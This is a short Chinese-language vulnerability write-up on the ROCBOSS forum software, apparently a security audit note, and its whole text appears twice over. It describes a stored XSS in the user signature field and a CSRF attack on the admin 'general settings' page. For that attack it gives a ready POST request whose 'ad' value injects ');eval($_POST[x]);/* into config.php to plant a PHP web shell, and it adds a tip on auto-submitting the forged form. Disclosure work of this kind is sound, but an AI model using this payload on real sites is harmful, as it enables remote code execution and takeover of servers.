#1、存储型xss
/application/controller/do.php 1081行
/system/libs/Filter.lib.php
只做了SQL转义 ,所以还可以xss
在修改个性签名的地方
再访问个人信息
#2、Csrf Getshell
ROCBOSS没有做csrf防御
再来看看怎么拿shell
/application/controller/manage.php 67行
可以看到$ROCKEY和$ad没有任何过滤
后台"通用设置"处抓包
看看/application/config/config.php
是数组
'ad' => 'test1',
# 广告代码
由于$ad没有被过滤 ,可以构造出');phpinfo();/* 再打开config.php 就会打印phpinfo
表单我就不去整了。。参数太多 整的麻烦
给form表单添加name属性 值为"csrf" 再把各个参数与值写好 再加一句js即可自动提交
URL:http://localhost/rocboss/manage/adminCommon/
DATA:sitename=%E5%8F%88%E4%B8%80%E4%B8%AAROCBOSS%E7%A4%BE%E5%8C%BA&keywords=&description=®ister=25&topic=2&reply=1&praise=1&whisper=5&ROCKEY=58sdfgh78%23frc211&appid=0&appkey=&ad=test');eval($_POST[x]);/*
POST提交上面的数据
#1、存储型xss
/application/controller/do.php 1081行
/system/libs/Filter.lib.php
只做了SQL转义 ,所以还可以xss
在修改个性签名的地方
再访问个人信息
#2、Csrf Getshell
ROCBOSS没有做csrf防御
再来看看怎么拿shell
/application/controller/manage.php 67行
可以看到$ROCKEY和$ad没有任何过滤
后台"通用设置"处抓包
看看/application/config/config.php
是数组
'ad' => 'test1',
# 广告代码
由于$ad没有被过滤 ,可以构造出');phpinfo();/* 再打开config.php 就会打印phpinfo
表单我就不去整了。。参数太多 整的麻烦
给form表单添加name属性 值为"csrf" 再把各个参数与值写好 再加一句js即可自动提交
URL:http://localhost/rocboss/manage/adminCommon/
DATA:sitename=%E5%8F%88%E4%B8%80%E4%B8%AAROCBOSS%E7%A4%BE%E5%8C%BA&keywords=&description=®ister=25&topic=2&reply=1&praise=1&whisper=5&ROCKEY=58sdfgh78%23frc211&appid=0&appkey=&ad=test');eval($_POST[x]);/*
POST提交上面的数据